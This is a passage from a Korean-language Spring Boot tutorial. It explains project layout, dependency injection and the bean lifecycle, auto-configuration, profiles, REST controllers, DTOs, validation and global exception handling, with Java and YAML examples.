  • H2 Database — 개발용 인메모리 DB
  • Validation — 요청 검증
  • Spring Boot DevTools — 자동 재시작

2) 폴더 구조 — 도메인형을 권합니다

src/main/java/com/myapp/ Application.java # 진입점 (최상위에 둬야 컴포넌트 스캔이 됨) common/ # 공통 exception/ # 에러 코드, 전역 핸들러 config/ # 설정 클래스 order/ # ← 도메인 단위로 묶기 OrderController.java OrderService.java OrderRepository.java Order.java # 엔티티 dto/ OrderCreateReq.java OrderRes.java user/ ... src/main/resources/ application.yml application-local.yml
controller/ service/ repository/ 로 나누지 마세요 — 기능 하나를 고치려고 폴더 4개를 오가게 됩니다. 도메인(order, user)으로 묶으면 관련 파일이 한자리에 모여 훨씬 편합니다.

3) 5분 만에 도는 API

// Application.java
@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

// HelloController.java
@RestController
@RequestMapping("/api/hello")
public class HelloController {

    @GetMapping
    public Map<String, Object> hello(@RequestParam(defaultValue = "world") String name) {
        return Map.of("message", "Hello, " + name, "time", LocalDateTime.now());
    }
}
./gradlew bootRun
curl "http://localhost:8080/api/hello?name=현우"
# {"message":"Hello, 현우","time":"2026-08-03T14:30:00"}
BOOT 03

DI · Bean · 스코프

스프링의 심장입니다. “내가 new 하지 않는다”는 것 하나만 이해하면 됩니다.

빈으로 등록하는 방법

// 1) 스테레오타입 애너테이션 — 가장 흔함
@Component      // 일반적인 빈
@Service        // 비즈니스 로직 (의미만 다름)
@Repository     // DB 접근 (예외 변환 기능이 덤으로)
@Controller     // 웹 (뷰 반환)
@RestController // 웹 (JSON 반환) = @Controller + @ResponseBody

// 2) @Configuration + @Bean — 외부 라이브러리 객체를 등록할 때
@Configuration
public class AppConfig {

    @Bean
    public RestClient restClient() {
        return RestClient.builder()
                .baseUrl("https://api.example.com")
                .build();
    }

    // Boot 4 의 기본은 Jackson 3 — ObjectMapper 가 아니라 불변 JsonMapper 입니다
    // import tools.jackson.databind.json.JsonMapper;  (groupId 도 tools.jackson)
    @Bean
    public JsonMapper jsonMapper() {
        // java.time 지원은 Jackson 3 에 내장 — JavaTimeModule 등록이 필요 없습니다
        return JsonMapper.builder()
                .disable(DateTimeFeature.WRITE_DATES_AS_TIMESTAMPS)   // 3.x 에서 옮겨진 자리 (기본값도 false)
                .build();
    }
}
Jackson 2 → 3 — Boot 4 의 기본 JSON 라이브러리가 Jackson 3 으로 올라갔습니다. groupId 가 com.fasterxml → tools.jackson, ObjectMapper → 불변 JsonMapper, @JsonComponent → @JacksonComponent, Jackson2ObjectMapperBuilderCustomizer → JsonMapperBuilderCustomizer.
애노테이션(@JsonProperty·@JsonIgnore 등)은 com.fasterxml.jackson.annotation 에 그대로 남습니다 — import 를 안 고쳐도 됩니다.
당장 못 옮기겠다면 spring.jackson.use-jackson2-defaults=true 로 Jackson 2 동작을 유지할 수 있습니다.

주입 방법 — 생성자 주입만 쓰세요

❌ 필드 주입 — 편하지만 문제가 많다
@Service
public class OrderService {
    @Autowired private OrderRepository repo;   // ❌
}
// · 테스트에서 가짜 객체를 넣기 어렵다
// · final 을 못 써서 나중에 바뀔 수 있다
// · 순환 참조가 있어도 실행될 때까지 모른다
✅ 생성자 주입
@Service
@RequiredArgsConstructor          // Lombok — final 필드로 생성자 자동 생성
public class OrderService {
    private final OrderRepository repo;
    private final Notifier notifier;
}
// · final 보장 (불변)
// · 테스트에서 new OrderService(mockRepo, mockNotifier)
// · 순환 참조는 시작할 때 바로 에러 ✅
// · 생성자가 하나면 @Autowired 도 생략 가능

같은 타입 빈이 여러 개일 때

public interface Notifier { void send(String to, String msg); }

@Component("email") class EmailNotifier implements Notifier { }
@Component("sms")   class SmsNotifier implements Notifier { }

// 1) 이름으로 지정
public OrderService(@Qualifier("email") Notifier notifier) { }

// 2) 기본값 지정
@Component @Primary
class EmailNotifier implements Notifier { }

// 3) 전부 받기 — 전략 패턴에서 유용
@Service
public class NotifyService {
    private final List<Notifier> all;              // 전부 주입
    private final Map<String, Notifier> byName;    // 빈 이름이 키

    public void broadcast(String msg) {
        all.forEach(n -> n.send("all", msg));
    }
}

스코프

스코프수명
singleton (기본)앱 전체에 딱 하나
prototype주입될 때마다 새로 생성
requestHTTP 요청마다
session세션마다
싱글턴이라는 사실이 중요합니다 — 서비스 빈에 인스턴스 필드로 상태를 저장하면 모든 요청이 그 값을 공유해서 다른 사용자 데이터가 섞입니다. 빈에는 final 의존성만 두고, 요청별 데이터는 메서드 파라미터·지역 변수로 다루세요.

🔥 극한 난이도 — 컨테이너 내부: 여기까지 물으면 최종 라운드입니다

빈 하나가 태어나는 전체 순서 — 통째로 외울 가치가 있습니다

[ 컨테이너 준비 단계 ]
①  BeanDefinition 로딩 (스캔·@Bean 파싱 — 아직 객체 없음)
②  BeanFactoryPostProcessor 실행           ← '설계도'를 고치는 단계
     예: PropertySourcesPlaceholderConfigurer (${...} 치환)
         ConfigurationClassPostProcessor (@Configuration 해석)

[ 빈 인스턴스 단계 — 빈마다 반복 ]
③  생성자 실행 (의존성 결정 · 여기서 순환이면 즉사)
④  프로퍼티 주입 (@Autowired 필드·세터)
⑤  Aware 콜백: BeanNameAware → BeanFactoryAware → ApplicationContextAware
⑥  BeanPostProcessor.postProcessBeforeInitialization
⑦  @PostConstruct
⑧  InitializingBean.afterPropertiesSet → @Bean(initMethod)
⑨  BeanPostProcessor.postProcessAfterInitialization
     ★ AOP 프록시가 만들어지는 곳이 바로 여기입니다
        (AnnotationAwareAspectJAutoProxyCreator 도 그냥 BPP 하나)

[ 종료 ]
⑩  @PreDestroy → DisposableBean.destroy → @Bean(destroyMethod)
⑨가 모든 것을 설명합니다 — @PostConstruct(⑦) 시점에는 아직 프록시가 아니라서 거기서 자기 메서드를 불러도 @Transactional·@Async 가 안 걸립니다. “왜 초기화 코드에서만 트랜잭션이 안 먹죠?”의 답이 이 순서입니다. 그리고 BPP 를 구현한 빈 자신과 그 의존성은 남들보다 먼저 생성되므로, BPP 가 다른 빈을 주입받으면 그 빈은 프록시 적용에서 빠질 수 있습니다 (is not eligible for getting processed 경고의 정체).

순환 참조 3단계 캐시 · @Configuration 의 CGLIB 마법

// Q. 필드 주입 순환은 되는데 생성자 주입 순환은 왜 안 되나?
// A. DefaultSingletonBeanRegistry 의 3단계 캐시 때문입니다
//    L1 singletonObjects        : 완성된 빈
//    L2 earlySingletonObjects   : '미완성이지만 노출된' 빈
//    L3 singletonFactories      : 미완성 빈을 꺼내 주는 팩토리
//
// A 생성 중 → B 가 A 를 요구 → L3 팩토리가 '반쯤 만든 A' 를 내어 줌
//   → B 완성 → A 마저 완성.  생성자 주입은 '반쯤 만든 A' 조차
//   없는 시점에 A 가 필요하므로 원리적으로 불가능합니다.
// L3 가 '팩토리'인 이유: A 가 프록시 대상이면 이 시점에
//   조기 프록시를 만들어야 참조가 갈리지 않기 때문 (getEarlyBeanReference)
// ★ Boot 2.6+ 는 이 우회를 기본 금지 — 순환은 푸는 게 아니라 없애는 것

// Q. @Bean 메서드를 '직접 호출'해도 왜 싱글턴인가?
@Configuration                 // ← CGLIB 서브클래스가 만들어집니다
class Cfg {
    @Bean DataSource ds() { return new HikariDataSource(); }
    @Bean JdbcTemplate jdbc() {
        return new JdbcTemplate(ds());   // new 가 아니라 컨테이너 조회!
    }                                    // 오버라이드된 ds() 가 가로챔
}
// proxyBeanMethods = false (lite 모드) 로 끄면 → 진짜 메서드 호출
//   = ds() 두 번 부르면 커넥션 풀 2개 ★ 부트 스타터가 lite 를 쓰는
//   이유는 기동 속도, 대신 @Bean 간 직접 호출을 안 하는 규약으로 버팁니다
한 줄 정리 — “BFPP 는 설계도를, BPP 는 물건을 고친다” · “AOP 는 ⑨에서 생긴다” · “3단계 캐시의 L3 는 조기 프록시 때문에 팩토리다” · “@Configuration 은 CGLIB 로 @Bean 호출을 가로챈다”. 이 네 문장이 나오면 면접관이 화제를 바꿉니다.
DI — 필요한 것을 직접 만들지 않고 받아 씁니다 @Service · @Repository 컨테이너가 찾아서 만듭니다 스프링 컨테이너 타입을 보고 필요한 것을 넣습니다 생성자로 주입 new 를 쓰지 않습니다 기본 범위는 싱글턴 — 앱 전체에서 하나 여러 요청이 같은 객체를 함께 씁니다 — 그래서 필드에 요청별 상태를 두면 안 됩니다 요청마다 달라야 하는 값은 메서드 인자로 넘기세요 필드 주입 대신 생성자 주입을 쓰세요 필수 의존성이 눈에 드러나고, 테스트에서 가짜 구현을 그냥 넣을 수 있습니다 같은 타입의 빈이 둘이면 이름이나 @Qualifier 로 골라야 합니다 — 흔한 기동 실패 원인입니다 순환 참조가 나면 설계를 다시 보세요 — 우회 설정으로 넘기면 나중에 더 아픕니다
DI 의 목적은 편의가 아니라 바꿔 끼울 수 있게 만드는 것입니다.
BOOT 04

자동 설정의 원리

“마법”이 아니라 조건부 설정입니다. 원리를 알면 “왜 내 설정이 안 먹지?”를 스스로 풀 수 있습니다.

동작 방식

// 스프링 부트 내부의 자동 설정 클래스는 대략 이렇게 생겼습니다
@AutoConfiguration
@ConditionalOnClass(DataSource.class)         // 이 클래스가 클래스패스에 있고
@ConditionalOnMissingBean(DataSource.class)   // 내가 직접 만든 게 없으면
@EnableConfigurationProperties(DataSourceProperties.class)
public class DataSourceAutoConfiguration {

    @Bean
    public DataSource dataSource(DataSourceProperties props) {
        return props.initializeDataSourceBuilder().build();
    }
}

핵심은 @ConditionalOnMissingBean 입니다 — 내가 직접 빈을 등록하면 자동 설정은 물러납니다. “설정을 바꾸고 싶으면 그냥 만들어라”가 스프링 부트의 방식입니다.

무엇이 적용됐는지 확인하기

# application.yml — 시작할 때 리포트 출력
debug: true
============================
CONDITIONS EVALUATION REPORT
============================

Positive matches:            ← 적용된 것
-----------------
   DataSourceAutoConfiguration matched:
      - @ConditionalOnClass found 'javax.sql.DataSource'

Negative matches:            ← 적용 안 된 것 + 이유 ★
-----------------
   RedisAutoConfiguration:
      Did not match:
      - @ConditionalOnClass did not find 'RedisOperations'
“왜 안 되지?”의 90%는 이 리포트의 Negative matches 에 답이 있습니다. 의존성이 없거나, 내가 만든 빈이 이미 있거나, 프로퍼티 조건이 안 맞는 것입니다.
특정 자동 설정을 끄려면: @SpringBootApplication(exclude = SecurityAutoConfiguration.class)
자동 설정 — 마법이 아니라 조건 검사입니다 부트 시작 설정 후보 목록을 읽음 조건을 하나씩 확인 @ConditionalOn... 만족 → 그 설정을 적용 불만족 → 건너뜀 실제로 보는 조건들 OnClass — 그 라이브러리가 클래스패스에 있는가 (드라이버가 있으면 DataSource 를) OnMissingBean — 같은 역할의 빈이 아직 없는가 (내가 만들었으면 물러납니다) OnProperty — 설정 값이 켜져 있는가 그래서 덮어쓰는 방법이 단순합니다 — 같은 타입의 빈을 직접 만들면 자동 설정이 비켜 줍니다 무엇이 켜지고 꺼졌는지는 --debug 로 확인하세요 — 조건 평가 보고서가 그대로 나옵니다 기동이 느려졌다면 이 목록이 커진 것일 수 있습니다 — 안 쓰는 스타터를 빼는 것이 먼저입니다
"어디서 이 빈이 만들어졌지?" 의 답은 대부분 조건이 맞은 자동 설정입니다.
BOOT 05

설정 파일 · 프로파일

개발·운영 환경을 나누고, 비밀값을 코드에서 분리하는 방법입니다.

application.yml

spring:
  application:
    name: order-service
  datasource:
    url: jdbc:mysql://localhost:3306/mydb
    username: ${DB_USER}              # 환경변수에서 (기본값 없이)
    password: ${DB_PASSWORD}
    hikari:
      maximum-pool-size: 20
  jpa:
    hibernate:
      ddl-auto: validate              # 운영은 절대 update/create 금지
    properties:
      hibernate:
        format_sql: true
  threads:
    virtual:
      enabled: true                   # 가상 스레드 (Boot 3.2+)

server:
  port: 8080
  shutdown: graceful                  # 종료 시 처리 중인 요청 마무리

logging:
  level:
    root: INFO
    com.myapp: DEBUG

app:                                  # 내가 만든 설정
  order:
    max-amount: 1000000
    auto-cancel-minutes: 30
    admin-emails:
      - admin@example.com
      - ops@example.com

타입 안전하게 읽기 (권장)

// record + @ConfigurationProperties = 가장 깔끔한 조합
@ConfigurationProperties(prefix = "app.order")
public record OrderProperties(
        int maxAmount,
        int autoCancelMinutes,
        List<String> adminEmails
) { }

// 활성화
@SpringBootApplication
@ConfigurationPropertiesScan
public class Application { }

// 사용 — 오타가 나면 컴파일 에러 ✅
@Service
@RequiredArgsConstructor
public class OrderService {
    private final OrderProperties props;

    public void check(int amount) {
        if (amount > props.maxAmount()) throw new ...;
    }
}

// 단발성이면 @Value 도 가능 (오타는 런타임에 터짐)
@Value("${app.order.max-amount}")
private int maxAmount;

프로파일 — 환경별 분리

# application.yml (공통)
spring:
  profiles:
    active: local          # 기본 프로파일

---
# 같은 파일의 두 번째 문서 — local 프로파일일 때만 적용
# (application-local.yml 로 따로 빼면 on-profile 은 빼세요 — 파일명이 이미 조건이고, 넣으면 기동 오류)
spring:
  config:
    activate:
      on-profile: local
  datasource:
    url: jdbc:h2:mem:testdb
  jpa:
    hibernate:
      ddl-auto: create-drop
logging:
  level:
    org.hibernate.SQL: DEBUG
# 실행할 때 프로파일 지정
java -jar app.jar --spring.profiles.active=prod
SPRING_PROFILES_ACTIVE=prod java -jar app.jar
./gradlew bootRun --args='--spring.profiles.active=local'

# 설정 우선순위 (아래로 갈수록 강함)
#  1. application.yml
#  2. application-{profile}.yml
#  3. 환경 변수  (SPRING_DATASOURCE_URL)
#  4. 커맨드 라인 (--server.port=9090)
// 프로파일별로 다른 빈
@Bean
@Profile("local")
public Notifier localNotifier() { return (to, msg) -> log.info("[가짜발송] {}", msg); }

@Bean
@Profile("prod")
public Notifier realNotifier(MailSender sender) { return new EmailNotifier(sender); }
비밀번호·API 키를 yml 에 적지 마세요 — 깃에 그대로 올라갑니다. 환경 변수(${DB_PASSWORD})나 AWS Secrets Manager · Vault 를 쓰고, 로컬 개발용 값은 application-local.yml을 .gitignore 에 넣으세요.
BOOT 06

REST 컨트롤러

컨트롤러가 할 일은 셋뿐입니다 — 요청 받기 · 서비스 호출 · 응답 만들기. 로직은 절대 두지 마세요.

@RestController
@RequestMapping("/api/orders")
@RequiredArgsConstructor
public class OrderController {

    private final OrderService orderService;

    // 목록 — GET /api/orders?status=PAID&page=0&size=20
    @GetMapping
    public Page<OrderRes> list(
            @RequestParam(required = false) OrderStatus status,
            @PageableDefault(size = 20, sort = "createdAt",
                             direction = Sort.Direction.DESC) Pageable pageable) {
        return orderService.search(status, pageable);
    }

    // 단건 — GET /api/orders/1
    @GetMapping("/{id}")
    public OrderRes get(@PathVariable Long id) {
        return orderService.get(id);
    }

    // 생성 — POST /api/orders
    @PostMapping
    @ResponseStatus(HttpStatus.CREATED)               // 201
    public OrderRes create(@Valid @RequestBody OrderCreateReq req) {
        return orderService.create(req);
    }

    // 수정 — PATCH /api/orders/1
    @PatchMapping("/{id}")
    public OrderRes update(@PathVariable Long id,
                           @Valid @RequestBody OrderUpdateReq req) {
        return orderService.update(id, req);
    }

    // 삭제 — DELETE /api/orders/1
    @DeleteMapping("/{id}")
    @ResponseStatus(HttpStatus.NO_CONTENT)            // 204
    public void delete(@PathVariable Long id) {
        orderService.delete(id);
    }

    // 헤더 · 쿠키도 받을 수 있다
    @PostMapping("/{id}/pay")
    public ResponseEntity<OrderRes> pay(
            @PathVariable Long id,
            @RequestHeader("X-Idempotency-Key") String key,
            @CookieValue(required = false) String sessionId) {

        OrderRes res = orderService.pay(id, key);
        return ResponseEntity.ok()
                .header("X-Processed-At", Instant.now().toString())
                .body(res);
    }
}

HTTP 메서드와 상태 코드

메서드용도성공 응답
GET조회200 OK
POST생성201 Created
PUT전체 교체200 / 204
PATCH부분 수정200
DELETE삭제204 No Content
코드언제
400요청 형식·값이 잘못됨
401인증 안 됨 (로그인 필요)
403인증은 됐지만 권한 없음
404리소스 없음
409충돌 (이미 처리됨, 중복)
500서버 오류 — 여기가 뜨면 우리 잘못

URL 설계 규칙

❌ 동사를 URL 에
POST /api/getOrderList
POST /api/createOrder
POST /api/deleteOrder?id=1
✅ 명사(복수) + HTTP 메서드
GET    /api/orders
POST   /api/orders
DELETE /api/orders/1
GET    /api/orders/1/items       ← 계층 관계
POST   /api/orders/1/pay         ← 상태 변경은 동사 허용
컨트롤러에 if 문이 늘어나기 시작하면 그건 서비스로 옮길 신호입니다. 컨트롤러는 “무엇을 받아 무엇을 돌려주는가”만 보이면 성공입니다.
@GetMapping 하나가 불리기까지 — 스프링이 실제로 거치는 길 톰캣 스레드 하나 배정 필터 체인 Security · CORS 인코딩 · 로깅 DispatcherServlet HandlerMapping 으로 담당 메서드 찾기 @RestController 인자 변환 후 메서드 호출 — 내가 쓴 코드는 여기뿐 반환 객체 → MessageConverter Jackson 이 JSON 으로 예외가 나면 @ExceptionHandler 로 필터는 서블릿 규격, 인터셉터는 스프링 규격입니다 — 그래서 필터에서 던진 예외는 @ExceptionHandler 가 못 잡습니다. Spring Security 는 필터로 동작합니다. 인증 실패가 전역 예외 처리에 안 걸리는 이유가 이것입니다. "404 인데 컨트롤러에 로그가 안 찍혀요" — HandlerMapping 단계에서 이미 끝난 것입니다(경로·메서드 불일치). "객체는 맞는데 JSON 필드가 비어요" — 마지막 상자의 문제입니다(getter 없음 · @JsonIgnore · 직렬화 설정). 어느 상자에서 끊겼는지만 알아도 원인 후보가 열 개에서 두세 개로 줄어듭니다.
디버깅의 첫 질문은 "내 메서드까지 왔는가" 입니다 — 브레이크포인트 하나로 앞뒤 절반이 갈립니다.

어디에 무엇을 끼울까 — 필터 · 인터셉터 · AOP

수단동작 시점쓸 곳 · 주의
FilterDispatcherServlet 앞인증 · CORS · 요청 로깅 · 인코딩
스프링 예외 처리가 안 미칩니다
Interceptor컨트롤러 앞뒤권한 확인 · 공통 파라미터 · 요청 시간 측정
어느 핸들러인지 알 수 있습니다
@ControllerAdvice예외 발생 시전역 예외 처리 · 공통 응답 포맷
AOP임의의 빈 메서드트랜잭션 · 캐시 · 감사 로그
같은 클래스 내부 호출은 안 걸립니다
ArgumentResolver인자 바인딩@LoginUser 같은 커스텀 인자
// 로그인 사용자를 인자로 바로 받기 — 컨트롤러가 훨씬 깨끗해집니다
@Target(PARAMETER) @Retention(RUNTIME)
public @interface LoginUser {}

@Component
public class LoginUserResolver implements HandlerMethodArgumentResolver {
    @Override public boolean supportsParameter(MethodParameter p) {
        return p.hasParameterAnnotation(LoginUser.class)
            && p.getParameterType() == Member.class;
    }
    @Override public Object resolveArgument(MethodParameter p, ModelAndViewContainer m,
            NativeWebRequest req, WebDataBinderFactory f) {
        var auth = SecurityContextHolder.getContext().getAuthentication();
        return memberRepository.findByEmail(auth.getName()).orElseThrow();
    }
}

// 쓰는 쪽 — 매 컨트롤러에서 SecurityContext 를 뒤질 필요가 없습니다
@GetMapping("/api/orders")
public List<OrderRes> myOrders(@LoginUser Member me,
                               @PageableDefault(size = 20) Pageable pageable) {
    return orderService.findMine(me.getId(), pageable);
}
필터에서 던진 예외는 @ControllerAdvice 가 못 잡습니다. 필터는 스프링 MVC 바깥이라, 예외가 그대로 서블릿 컨테이너까지 올라가 톰캣 기본 오류 페이지(HTML)가 나갑니다. JSON 을 기대하던 클라이언트는 파싱 오류를 냅니다.
필터에서는 예외를 던지지 말고 응답을 직접 쓰거나 (response.setStatus + getWriter().write(json)), Spring Security 의 AuthenticationEntryPoint·AccessDeniedHandler 를 쓰세요.
BOOT 07

요청 · 응답 · DTO

엔티티를 그대로 주고받지 마세요. 이 한 가지 원칙이 나중에 생길 사고의 절반을 막습니다.

❌ 엔티티를 그대로 노출
@GetMapping("/{id}")
public User get(@PathVariable Long id) {
    return userRepository.findById(id).orElseThrow();
}
// · 비밀번호·주민번호까지 JSON 에 나갑니다
// · 연관 엔티티가 딸려 나가며 무한 순환·N+1
// · DB 컬럼을 바꾸면 API 스펙이 깨집니다
✅ 필요한 것만 담은 DTO
public record UserRes(Long id, String name, String email) {
    public static UserRes from(User u) {
        return new UserRes(u.getId(), u.getName(), u.getEmail());
    }
}

@GetMapping("/{id}")
public UserRes get(@PathVariable Long id) {
    return UserRes.from(userService.get(id));
}

요청 DTO

public record OrderCreateReq(
        @NotNull(message = "상품 ID는 필수입니다")
        Long productId,

        @Min(value = 1, message = "수량은 1개 이상이어야 합니다")
        int quantity,

        @NotBlank @Size(max = 200)
        String address,

        @JsonFormat(pattern = "yyyy-MM-dd")
        LocalDate deliveryDate
) { }

// 요청 파라미터가 많으면 객체로 묶어 받는다
@GetMapping
public Page<OrderRes> list(@ModelAttribute OrderSearchCond cond,
                           Pageable pageable) { ... }

public record OrderSearchCond(
        OrderStatus status,
        LocalDate from,
        LocalDate to,
        String keyword
) { }

Jackson — JSON 변환 다루기

public record UserRes(
        Long id,

        @JsonProperty("user_name")          // JSON 키 이름 바꾸기
        String name,

        @JsonIgnore                          // 응답에서 제외
        String password,

        @JsonInclude(JsonInclude.Include.NON_NULL)  // null 이면 필드 자체를 뺌
        String nickname,

        @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "Asia/Seoul")
        LocalDateTime createdAt
) { }
spring:
  jackson:
    property-naming-strategy: SNAKE_CASE   # userName -> user_name 전체 적용
    default-property-inclusion: non_null   # null 필드 전부 제외
    serialization:
      write-dates-as-timestamps: false     # 날짜를 ISO 문자열로
    time-zone: Asia/Seoul
응답 형식을 통일하고 싶다면 공통 래퍼를 만드세요 — record ApiResponse<T>(boolean success, T data, ErrorInfo error). 프론트엔드가 성공·실패를 한 가지 방식으로 처리할 수 있습니다.
BOOT 08

검증 — Bean Validation

잘못된 값은 컨트롤러 입구에서 막는 것이 가장 쌉니다. 서비스까지 들어오면 방어 코드가 온 사방에 생깁니다.

build.gradle.kts — implementation("org.springframework.boot:spring-boot-starter-validation")

자주 쓰는 애너테이션

애너테이션검사 내용
@NotNullnull 이 아님
@NotEmptynull 아니고 비어 있지 않음 (문자열·컬렉션)
@NotBlank공백만 있어도 안 됨 — 문자열엔 이걸
@Size(min=, max=)길이·크기
@Min / @Max숫자 범위
@Positive / @PositiveOrZero양수 / 0 이상
@Email이메일 형식
@Pattern(regexp=)정규식
@Past / @Future과거 / 미래 날짜
@Valid중첩 객체까지 검사

적용과 커스텀 검증

// 컨트롤러에서 @Valid 를 붙여야 실행됩니다 (잊기 쉬움!)
@PostMapping
public OrderRes create(@Valid @RequestBody OrderCreateReq req) { ... }

// 중첩 객체
public record OrderCreateReq(
        @NotNull Long productId,
        @Valid @NotNull AddressReq address     // ← @Valid 를 붙여야 안쪽까지
) { }

// 여러 필드를 함께 봐야 할 때 — 커스텀 애너테이션
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = DateRangeValidator.class)
public @interface ValidDateRange {
    String message() default "종료일이 시작일보다 빠릅니다";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class DateRangeValidator
        implements ConstraintValidator<ValidDateRange, SearchReq> {
    @Override
    public boolean isValid(SearchReq r, ConstraintValidatorContext ctx) {
        if (r.from() == null || r.to() == null) return true;
        return !r.to().isBefore(r.from());
    }
}

@ValidDateRange
public record SearchReq(LocalDate from, LocalDate to) { }
검증 실패 시 무슨 일이 일어나나 — MethodArgumentNotValidException 이 던져집니다. 기본 응답은 읽기 어려우므로 다음 섹션의 전역 예외 처리에서 “어느 필드가 왜 틀렸는지”를 담은 JSON 으로 바꿔 주는 것이 실무 기본입니다.
@Valid 는 컨트롤러 '앞'에서 걸립니다 요청 JSON { email, age } DTO 로 변환 후 검증 @Email · @Min(0) · @NotBlank 통과 → 컨트롤러 본문 실행 실패 → MethodArgumentNotValidException 컨트롤러가 깨끗해집니다 if (email == null) … 같은 코드가 한 줄도 없습니다 규칙이 DTO 에 모여 있어 문서 역할도 합니다 자주 빠뜨리는 것 @Valid 를 안 붙이면 애너테이션이 무시됩니다 중첩 객체는 필드에도 @Valid 를 붙여야 검사됩니다 에러 응답 형식은 @RestControllerAdvice 한 곳에서 만듭니다(b09) — 어느 필드가 왜 틀렸는지 담아 주세요 업무 규칙(재고가 충분한가 · 중복 주문인가)은 검증 애너테이션이 아니라 서비스 계층의 몫입니다
형식 검증은 경계에서 애너테이션으로, 업무 규칙은 안쪽에서 코드로.
BOOT 09

전역 예외 처리

컨트롤러마다 try/catch 를 쓰지 마세요. 한 곳에서 전부 받아 일관된 형식으로 응답하는 것이 정석입니다.

전체 구성 — 이대로 복사해서 쓰면 됩니다

// 1) 에러 응답 형식 — 프론트엔드와 약속
public record ErrorResponse(
        String code,
        String message,
        List<FieldError> errors,
        String path,
        Instant timestamp
) {
    public record FieldError(String field, String reason) { }

    public static ErrorResponse of(ErrorCode c, String path) {
        return new ErrorResponse(c.getCode(), c.getMessage(), List.of(), path, Instant.now());
    }
}

// 2) 전역 핸들러
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {

    // 우리가 정의한 비즈니스 예외
    @ExceptionHandler(BusinessException.class)
    public ResponseEntity<ErrorResponse> handleBusiness(
            BusinessException e, HttpServletRequest req) {
        ErrorCode c = e.getCode();
        log.warn("비즈니스 예외: {} - {}", c.getCode(), e.getMessage());
        return ResponseEntity.status(c.getStatus())
                .body(ErrorResponse.of(c, req.getRequestURI()));
    }

    // @Valid 실패 — 어느 필드가 왜 틀렸는지 담아 준다 ★
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ResponseEntity<ErrorResponse> handleValidation(
            MethodArgumentNotValidException e, HttpServletRequest req) {

        List<ErrorResponse.FieldError> fields = e.getBindingResult()
                .getFieldErrors().stream()
                .map(f -> new ErrorResponse.FieldError(f.getField(), f.getDefaultMessage()))
                .toList();

        return ResponseEntity.badRequest().body(new ErrorResponse(
                "V001", "입력값이 올바르지 않습니다", fields,
                req.getRequestURI(), Instant.now()));
    }

    // 타입이 안 맞을 때 (예: /orders/abc)
    @ExceptionHandler(MethodArgumentTypeMismatchException.class)
    public ResponseEntity<ErrorResponse> handleTypeMismatch(
            MethodArgumentTypeMismatchException e, HttpServletRequest req) {
        return ResponseEntity.badRequest().body(new ErrorResponse(
                "V002", "'%s' 값의 형식이 올바르지 않습니다".formatted(e.getName()),
                List.of(), req.getRequestURI(), Instant.now()));
    }

    // 마지막 방어선 — 예상 못 한 모든 것
    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleAll(Exception e, HttpServletRequest req) {
        log.error("처리되지 않은 예외", e);            // ★ 스택 트레이스는 반드시 로그로
        return ResponseEntity.internalServerError().body(new ErrorResponse(
                "E999", "서버 오류가 발생했습니다",   // ★ 내부 정보는 노출하지 않는다
                List.of(), req.getRequestURI(), Instant.now()));
    }
}

응답 예시

// 검증 실패 (400)
{
  "code": "V001",
  "message": "입력값이 올바르지 않습니다",
  "errors": [
    { "field": "quantity", "reason": "수량은 1개 이상이어야 합니다" },
    { "field": "address",  "reason": "공백일 수 없습니다" }
  ],
  "path": "/api/orders",
  "timestamp": "2026-08-03T05:30:00Z"
}

// 비즈니스 예외 (409)
{
  "code": "O002",
  "message": "이미 결제된 주문입니다",
  "errors": [],
  "path": "/api/orders/1/pay",
  "timestamp": "2026-08-03T05:31:00Z"
}

지켜야 할 원칙

  • 내부 정보를 절대 노출하지 마세요 — 스택 트레이스, SQL, 파일 경로가 응답에 나가면 공격 힌트가 됩니다. 로그에는 전부, 응답에는 최소한.
  • 예상한 예외는 warn, 예상 못 한 것은 error — 그래야 알림이 진짜 문제에만 울립니다.
  • 에러 코드를 문서화하세요 — 프론트엔드가 코드로 분기할 수 있습니다.
  • 추적 ID(traceId)를 응답에 넣으면 사용자 문의 → 로그 검색이 즉시 됩니다.
@RestControllerAdvice 가 안 먹는 경우 — 필터에서 던진 예외는 여기까지 오지 않습니다 (필터는 DispatcherServlet 앞단이라서). JWT 필터의 인증 실패는 별도로 처리해야 합니다 — 🔐 Security 탭 05번에서 다룹니다.
어디서 던져도 응답 형식은 한 곳에서 만듭니다 컨트롤러 서비스 저장소 @RestControllerAdvice @ExceptionHandler 모음 업무 예외 → 400 · 409 예상 못 한 오류 → 500 응답 본문은 한 형식으로 { code, message, fieldErrors[], traceId } 프런트가 분기할 수 있게 code 를 문자열 상수로 traceId 를 넣어 두면 문의가 왔을 때 로그를 바로 찾습니다 둘을 구분해 다뤄야 합니다 업무 예외 — 예상된 흐름 · warn 이하로 로그 예상 못 한 오류 — 스택 전체를 error 로 남기고 사용자에게는 내부 메시지를 노출하지 않습니다
try-catch 를 각 컨트롤러에 흩어 두면 응답 형식이 제각각이 됩니다.
BOOT 10

계층 설계

각 층이 무엇을 하고 무엇을 하지 않는지가 명확해야 프로젝트가 커져도 안 무너집니다.

계층해야 할 일하면 안 되는 일
Controller HTTP 매핑, 요청 검증, DTO ↔ 서비스 호출, 상태 코드 결정 비즈니스 로직, DB 접근, 트랜잭션
Service 비즈니스 규칙, 트랜잭션 경계, 여러 리포지토리 조합 HTTP 관련 코드(HttpServletRequest), SQL 직접 작성
Repository DB 접근, 쿼리 비즈니스 판단(“이 주문은 취소 가능한가”)
Domain 상태와 그 상태를 바꾸는 규칙 프레임워크 의존

전체 흐름 예시

// ── Controller — 얇게 ──────────────────────────────
@RestController
@RequestMapping("/api/orders")
@RequiredArgsConstructor
public class OrderController {
    private final OrderService orderService;

    @PostMapping("/{id}/pay")
    public OrderRes pay(@PathVariable Long id) {
        return orderService.pay(id);          // 그냥 넘긴다
    }
}

// ── Service — 규칙과 트랜잭션 ───────────────────────
@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)               // 클래스 기본은 읽기 전용
public class OrderService {

    private final OrderRepository orderRepository;
    private final StockService stockService;
    private final Notifier notifier;

    @Transactional                             // 쓰기 메서드만 재정의
    public OrderRes pay(Long id) {
        Order order = orderRepository.findById(id)
                .orElseThrow(() -> new OrderNotFoundException(id));

